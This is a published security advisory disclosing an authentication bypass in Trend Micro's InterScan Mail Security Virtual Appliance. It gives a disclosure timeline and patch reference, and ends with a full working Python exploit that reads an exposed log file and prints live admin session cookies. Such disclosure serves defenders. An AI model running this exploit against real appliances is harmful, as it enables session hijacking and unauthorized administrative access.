KL-001-2018-006 : Trend Micro IMSVA Management Portal Authentication Bypass Title: Trend Micro IMSVA Management Portal Authentication Bypass Advisory ID: KL-001-2018-006 Publication Date: 2018.02.08 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2018-006.txt 1. Vulnerability Details Affected Vendor: Trend Micro Affected Product: InterScan Mail Security Virtual Apppliance Affected Version: 9.1.0.1600 Platform: Embedded Linux CWE Classification: CWE-522: Insufficiently Protected Credentials, CWE-219: Sensitive Data Under Web Root Impact: Authentication Bypass Attack vector: HTTPS 2. Vulnerability Description Any unauthenticated user can bypass the authentication process. 3. Technical Description The web application is plugin-based and allows widgets to be loaded into the application. A plugin which is loaded by default stores a log file of events in a directory which can be accessed by unauthenticated users. Files within this directory (such as /widget/repository/log/diagnostic.log) which contain cookie values can then be read, parsed, and session information extracted. A functional exploit is shown below. 4. Mitigation and Remediation Recommendation Trend Micro has released a Critical Patch update to the affected versions for this vulnerability. The advisory and links to the patch(es) are available from the following URL: https://success.trendmicro.com/solution/1119277 5. Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. 6. Disclosure Timeline 2017.08.11 - KoreLogic submits vulnerability details to Trend Micro. 2017.08.11 - Trend Micro confirms receipt. 2017.09.15 - KoreLogic asks for an update on the triage of the reported issue. 2017.09.15 - Trend Micro informs KoreLogic that the issue is in remediation but there is no expected release date yet. 2017.09.25 - 30 business days have elapsed since the vulnerability was reported to Trend Micro. 2017.10.06 - Trend Micro informs KoreLogic that the issue will not be addressed before the 45 business-day deadline. They ask for additional time for the details to remain embargoed in order to complete QA on the proposed fix. 2017.10.06 - KoreLogic agrees to extend the disclosure timeline. 2017.10.17 - 45 business days have elapsed since the vulnerability was reported to Trend Micro. 2017.11.02 - Trend Micro notifies KoreLogic that the Critical Patch for IMSVA 9.1 (Critical Patch 1682) has gone live, but they are still working on the patch for IMSVA 9.0. 2017.11.07 - 60 business days have elapsed since the vulnerability was reported to Trend Micro. 2017.12.21 - 90 business days have elapsed since the vulnerability was reported to Trend Micro. 2017.12.28 - Trend Micro notifies KoreLogic that the IMSVA 9.0 Critical Patch is being localized for foreign language customers. Expected release date is late January 2018. 2018.01.18 - Trend Micro notifies KoreLogic that the expected release date for the IMSVA 9.0 Critical Patch and the advisory is to be January 31, 2018. 2018.01.23 - 110 business days have elapsed since the vulnerability was reported to Trend Micro. 2018.01.31 - Trend Micro releases the advisory associated with this vulnerability and the related Critical Patches. 2018.02.08 - KoreLogic public disclosure. 7. Proof of Concept #!/usr/bin/python3 from argparse import ArgumentParser from ssl import _create_unverified_context from time import mktime from urllib.request import HTTPSHandler, HTTPError, Request, urlopen, build_opener banner = '''Trendmicro IMSVA 9.1.0.1600 Management Portal Authentication Bypass {}'''.format('-'*67) class Exploit: def __init__(self, args): self.target_host = args.host self.target_port = args.port self.list_all = args.ls self.sessions = [] self.session_latest_time = None self.session_latest_id = None self.sessions_active = [] return None def is_target(self): url_loginpage = Request('https://{}:{}/loginPage.imss'.format(self.target_host, self.target_port)) url_loginjsp = Request('https://{}:{}/jsp/framework/login.jsp'.format(self.target_host, self.target_port)) if urlopen(url_loginpage, context=_create_unverified_context()).getcode() == 200: try: urlopen(url_loginjsp, context=_create_unverified_context()) except HTTPError as e: if e.code == 403: return True else: return False return False def get_sessions(self): url_vulnpage = Request('https://{}:{}/widget/repository/log/diagnostic.log'.format(self.target_host, self.target_port)) vuln_obj = urlopen(url_vulnpage, context=_create_unverified_context()) if vuln_obj.getcode() == 200: vuln_pagedata = vuln_obj.read() for line in vuln_pagedata.decode('utf8').split('\n'): if 'product_auth' in line and 'JSEEEIONID' in line: self.sessions.append((line.split(',')[0], line.split(',')[-1].split(' ')[1].split(':')[1])) else: return False return True def find_latest(self): for session in list(set(self.sessions)): year, month, day = session[0].split(' ')[0].split('-') hour, minute, second = session[0].split(' ')[1].split(':') session_time = mktime((int(year), int(month), int(day), int(hour), int(minute), int(second), 0, 0, 0)) if self.session_latest_time is None: self.session_latest_time = session_time if session_time > self.session_latest_time: self.session_latest_time = session_time self.session_latest_id = session[1] if self.list_all: if self.is_session_alive(): self.sessions_active.append((self.session_latest_time, self.session_latest_id)) return True def is_session_alive(self): url_consolepage = Request('https://{}:{}/console.imss'.format(self.target_host, self.target_port)) opener = build_opener(HTTPSHandler(context=_create_unverified_context())) opener.addheaders.append(('Cookie', 'JSESSIONID={}'.format(self.session_latest_id))) console_obj = opener.open(url_consolepage) if console_obj.getcode() == 200: console_pagedata = console_obj.read().decode('utf8') if 'parent.location.href="/timeout.imss"' in console_pagedata: return False else: return False return True def run(self): if self.is_target(): if self.get_sessions(): print('[-] Leaked {} sessions'.format(len(self.sessions))) self.find_latest() if self.list_all and self.sessions_active: print('[+] Active sessions leaked.') sessions = [] for entry in list(set(self.sessions_active)): sessions.append(entry[1]) for session in list(set(sessions)): print('Set-Cookie: JSESSIONID={}'.format(session)) elif self.is_session_alive(): print('[+] Active session leaked.') print('Set-Cookie: JSESSIONID={}'.format(self.session_latest_id)) return True else: print('[-] {} sessions leaked but none are active.'.format(len(self.sessions))) return False else: return False else: return False return False if __name__ == '__main__': print(banner) arg_parser = ArgumentParser(add_help=False) arg_parser.add_argument('-H', '--help', action='help', help='Help') arg_parser.add_argument('-h', '--host', default=None, required=True, help='Target host') arg_parser.add_argument('-p', '--port', default=8445, type=int, help='Target port') arg_parser.add_argument('-l', '--ls', action='store_true', default=False, help='List all sessions (noisy)') args = arg_parser.parse_args() Exploit(args).run() The contents of this advisory are copyright(c) 2018 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt